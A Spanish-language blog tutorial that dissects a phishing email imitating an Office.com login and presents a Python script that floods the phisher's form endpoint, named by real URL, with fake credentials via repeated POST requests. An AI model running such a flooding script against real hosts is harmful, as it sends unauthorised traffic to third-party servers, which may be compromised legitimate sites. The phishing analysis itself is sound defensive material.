Respondiendo a un ladrón de contraseñas
Tags: python, codenewbie, tutorial, security
Published: 2021-11-21 15:50:40

**Contenido**
1. [El engaño](#chapter-1)
2. [Construyendo perfiles inexistentes](#chapter-2)
3. [Enviando datos con `urllib`](#chapter-3)
4. [Level up: enviando datos masivamente](#chapter-4)
5. [**Importante:** unas palabras de advertencia](#chapter-5)

---


>:warning: IMPORTANTE
>
>Por favor considera que el propósito de este artículo es informativo, y tiene como objeto mostrar cómo hacer requests `POST` en Python usando las librerías nativas. Conviene tener en cuenta un par de puntos importantes al manipular correos electrónicos fraudulentos y al interactuar con los servidores que están diseñados para recibir datos obtenidos de forma ilícita. Por favor lee [la sección correspondiente al final del post](#chapter-5).

Recibí hace poco un correo electrónico fraudulento que incluía un archivo adjunto que trataba de robar la contraseña de mi cuenta. Si bien los métodos para robar información de los usuarios evolucionan rápidamente, en este caso la idea del ladrón era muy básica: el archivo adjunto era un documento HTM(L) que imitaba casi perfectamente la página de inicio de sesión del correo de Office.com. Así (pensaba sin duda el ladrón) la víctima desprevenida está convencida de estar accediendo a su correo, cuando en realidad le ha regalado sus credenciales de acceso a un desconocido :pout:.

Para tratar de dificultarle el robo de contraseñas al ladrón que hay detrás de esto, escribí un script muy sencillo en Python que envía automática y masivamente direcciones de correo y contraseñas falsas a la URL del formulario del archivo adjunto, de forma que la base de datos del ladrón se llene de información de usuarios inexistentes, la cual es difícil de limpiar. En este artículo describo el correo electrónico fraudulento, su mecanismo de robo de información y el diseño del script, que usa únicamente librerías nativas de Python y un archivo con palabras en inglés descargado de internet.


## 1. El engaño <a name="chapter-1"></a>

El correo electrónico en cuestión simulaba ser del administrador de TI de la organización, y era así:

![Correo electrónico](https://i.imgur.com/l9utlEz.png)

Basta ver la dirección del remitente para advertir que se trataba de un engaño. En general estos mensajes ni siquiera llegan a la bandeja de entrada porque el filtro de spam los detiene, pero este correo en particular se le escapó.

Como se puede ver, el archivo adjunto era un documento `.htm`. Lo guardé en el disco duro y lo abrí en un editor de texto plano, **nunca hay que abrirlo directamente en el navegador porque no sabemos qué pueda tener**. En el editor pude ver que el archivo no incluía ningún script y que las referencias externas eran al sitio web de Microsoft, mientras que el cuerpo del documento únicamente contenía un formulario sencillo de login. El documento era seguro de abrir en el navegador:

![Login falso](https://i.imgur.com/gvzWSn7.png)

Se puede ver que el diseño era prácticamente idéntico a la página de login de Office.com. Usando el inspector de Safari, noté que el campo de la contraseña se encuentra dentro de un formulario que, al enviarse, hace una petición `POST` a la URL `https://level7advertising.com.au/ko/sss.php`. Este es el script `PHP` del ladrón, que sin duda registra la respuesta de la víctima y la guarda en una base de datos para que la pueda usar después.

![Código fuente del HTML adjunto](https://i.imgur.com/hSlhPB8.png)

Este es el código fuente del formulario en cuestión, que contenía toda la información para poder diseñar el contraataque:

```html
<form action="https://level7advertising.com.au/ko/sss.php" method="POST">
    <p>
        <img src="https://aadcdn.msftauth.net/ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" alt="">
        <input type="email" style="border: none;" id="fname" name="username" placeholder="Email Address" value="xxx@xxx.xxx" readonly required>
    </p>
    
    <h2>Enter password</h2>
    <input type="password" class="input_text" name="password" placeholder="Password">
    <div class="link_section">
        <a href="#" class="link">Forgot my password</a>
    </div>
    <br><br>
    <button type="submit" class="btn">Continue</button>
</form>
```

Lo relevante son los dos elementos `<input>` que contenía el formulario, pues éstos son los campos que se envían al servidor del ladrón:

* Uno para el correo electrónico, que es de sólo lectura, con el nombre `username`. El valor de este campo es el correo electrónico (el código mostrado dice "xxx@xxx.xxx") para ocultar mi verdadera dirección).
* Uno para la contraseña, con el nombre `password`.

Este era, en esencia, la lógica detrás de la idea del ladrón. Mi respuesta fue un script que hiciera lo siguiente:

1. Generar una dirección de correo electrónico inexistente.
1. Generar una contraseña falsa para esta dirección.
1. Enviar esta información a la URL del script PHP del ladrón.
1. ¡Repetir!

Así, el primer paso consiste en construir una lista de direcciones de correo electrónico y contraseñas falsas para indundar con ellas la base de datos de nuestro atacante.


## 2. Construyendo perfiles inexistentes <a name="chapter-2"></a>

Las direcciones de correo electrónico que construí tienen el formato `<palabra>@<palabra>.<com/org/net>`, y las contraseñas tienen el formato `<palabra><número><símbolo>`.

Evidentemente, lo primero que necesitamos es una lista de palabras. Descargué una (en inglés) de [github.com/dwyl/english-words](https://github.com/dwyl/english-words) y la guardé en el mismo directorio del script de Python como `words_alpha.txt`.

A continuación, abrimos el archivo en Python y guardamos los contenidos en la lista `palabras_lista` (no olvidemos cerrar el archivo una vez leído, es una buena práctica):

```python
palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()
```
Examinemos los primeros 10 registros:

```python
palabras_lista[0:10]

>>> ['a\n',
    'aa\n',
    'aaa\n',
    'aah\n',
    'aahed\n',
    'aahing\n',
    'aahs\n',
    'aal\n',
    'aalii\n',
    'aaliis\n']
```

Notamos que las palabras incluyen al final un salto de línea, esto habrá que considerarlo más adelante. Ahora, definimos una lista con los dominios que usaremos en nuestras direcciones de correo electrónico:

```python
dominios = ["com", "org", "net"]
```

Ahora sí podemos construir una función que elija aleatoriamente las palabras para construir el correo electrónico y la contraseña. Para la elección aleatoria, usamos la función `choice` de la librería nativa `random` ([documentación aquí](https://docs.python.org/3/library/random.html#random.choice)). Llamaremos a nuestra función `generar_perfil`:

```python
from random import choice

def generar_perfil():
    # Generar dirección de correo:
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)

    # Generar contraseña:
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")

    return {'mail': mail, 'password': password}
```

Recordamos que las palabras incluyen al final un salto de línea, indicado por los caracteres `\n`. Por eso hacemos un *string slicing* en Python para obtener la palabra excepto los dos últimos caracteres: `choice(palabras_lista)[:-1]` elige aleatoriamente una palabra de la lista `palabras_lista` y devuelve todos sus caracteres excepto los últimos dos.

Comprobamos si funciona invocando 10 veces a la función y viendo los correos y contraseñas que inventa:

```python
for i in range(0, 10):
    perfil = generar_perfil()
    print(perfil['mail'], "---", perfil['password'])

>>> vegetocarbonaceous@ruralization.com --- crawfish84&
>>> unacquisitiveness@antalkali.com --- velatura30$
>>> ultrastylish@aerodyne.org --- unshocked19?
>>> marines@bloodleaf.net --- vaguios56$
>>> oceanside@bromogelatin.com --- metabolizing43?
>>> peripolygonal@totting.net --- unassaying83!
>>> disquietingly@immaculateness.com --- knapsacked66&
>>> clubbers@heptahedral.org --- libellant94!
>>> recept@unauthoritatively.com --- dingey24!
>>> revoker@lacklustrous.com --- tracheopathia74&
```

Evidentemente, el correo `vegetocarbonaceous@ruralization.com` no suena muy auténtico, pero si hay muchos semejantes en una base de datos, es sumamente difícil automatizar un proceso que los detecte sin requerir entrenar un modelo de machine learning, por lo que sirven perfectamente para nuestro propósito.

Con esto ya tenemos una función capaz de generar direcciones de correo electrónico y contraseñas con formatos válidos, no tan fáciles de detectar como falsas. El siguiente paso es construir el mecanismo para enviar estos datos al servidor del ladrón de contraseñas.


## 3. Enviando datos con `urllib` <a name="chapter-3"></a>

Existen libererías de alto nivel (es decir, más "humanas") para trabajar con peticiones HTTP (por ejemplo, `requests` - [conoce más aquí](https://docs.python-requests.org/en/latest/)). Sin embargo, como queremos emplear sólo los módulos nativos de Python, usaremos la librería `urllib` para hacer peticiones al servidor del atacante.

En primer lugar importamos las clases `request` y `parse` del módulo `urllib`. La primera provee de métodos para hacer peticiones HTTP/S, y la segunda nos permite codificar el diccionario que contiene los datos que deseamos enviar a un formato compatible con el método `POST` (o `GET` en su caso).

```python
from urllib import parse, request
```

En segundo lugar, definimos los datos que queremos enviar al servidor. Como recordamos, el formulario del archivo adjunto que envió el ladrón tiene dos campos, llamados `username` y `password`. Estos son los nombres de los campos que debemos enviarle de vuelta. Y los valores son las direcciones de correo electrónico y las contraseñas falsas que obtenemos fácilmente con la función `generar_perfil()`:

```python
dato = generar_perfil()

datos = {
    "username": dato['mail'],
    "password": dato['password']
}
```

A continuación creamos un `string` con los datos codificados para enviarlos al servidor. Esto lo hacemos invocando el `encode()` de la siguiente forma:

```python
datos_encoded = parse.urlencode(datos).encode()
```

Finalmente, guardamos la URL del formulario en la variable `url` y enviamos los datos al servidos usando el método `urlopen()` de la siguiente forma:

```python
url = "https://level7advertising.com.au/ko/sss.php"

r = request.urlopen(url, datos_encoded)
```

¡Listo! Hemos enviado un primer registro falso al ladrón de contraseñas. Veamos el estado con el que respondió el servidor usando la propedad `status`:

```python
print(r.status)

>>> 200
```

Una respuesta 200 indica que [la petición ha tenido éxito](https://developer.mozilla.org/es/docs/Web/HTTP/Status/200). Ahora el ladrón tiene un registro falso en su base de datos, lo cual le dificultará la tarea de encontrar los registros de personas verdaderas que, en un descuido, le enviaron su contraseña del correo electrónico.


## 4. Level up: enviando datos masivamente <a name="chapter-4"></a>

Hasta ahora todo bien, pero si queremos enviar muchas respuestas falsas, es fácil programar un bucle que repita esta acción el número de veces que deseemos. Yo lo programé para enviar 100 registros falsos cada vez, espaciando los envíos un número aleatorio de segundos entre 3 y 6 (para esto usé la función `sleep` del módulo `time`, que también es nativo de Python - [la documentación está aquí](https://docs.python.org/3/library/time.html#time.sleep)).

Al final, el código completo es el siguiente:

```python
from random import choice
from urllib import parse, request
from time import sleep

palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()

dominios = ["com", "org", "net"]
url = "https://level7advertising.com.au/ko/sss.php"

def generar_perfil():
    mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)
    password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")
    return {'mail': mail, 'password': password}

for i in range(1, 101):

    # Generar perfil falso:
    dato = generar_perfil()
    datos = {
        "username": dato['mail'],
        "password": dato['password']
    }

    # Codificar datos:
    datos_encoded = parse.urlencode(datos).encode()

    # Enviar petición y mostrar respuesta (junto con el número de iteración):
    r = request.urlopen(url, datos_encoded)
    print(i, r.status)

    # Esperar un número aleatorio de segundos entre 3 y 6:
    sleep(choice(range(3, 7)))
```

A la fecha de publicación del post, no tuve problema en enviar bloques de 100 perfiles de usuarios inexistentes al ladrón de contraseñas :blush: siempre recibiendo una respuesta exitosa (200) del servidor de destino:

```python
>>> 1 200
>>> 2 200
>>> 3 200
>>> 4 200
    ...
>>> 100 200
```

## 5. **Importante:** unas palabras de advertencia <a name="chapter-5"></a>

1. **Nunca** se deben deben abrir los archivos adjuntos de un correo electrónico que procede de una dirección desconocida, o cuyo contenido parece (aunque sea sólo un poco) fraudulento. Siempre hay que verificar que la dirección del remitente (y no sólo su nombre) sea conocida. En mi caso, abrí el archivo adjunto primero en un editor de texto y verifiqué que no cargara ningún script, ni local ni remotamente, y que las imágenes procedieran de dominios de confianza.
1. Al enviar las peticiones `POST`, el receptor podría **registrar la IP** de la que proceden. Esto representa (al menos) un riesgo menor de privacidad y seguridad. Es importante no hacerlo en equipos que contengan información sensible (por ejemplo, corporativos). En mi caso, usé una VPN para esconder mi dirección IP real, y ejecuté el script en una máquina virtual aislada en mi computadora personal.

Teniendo en cuenta estos puntos y conservando en la medida de lo posible el sentido común, no deberíamos tener problema.

:man_technologist: `Happy coding`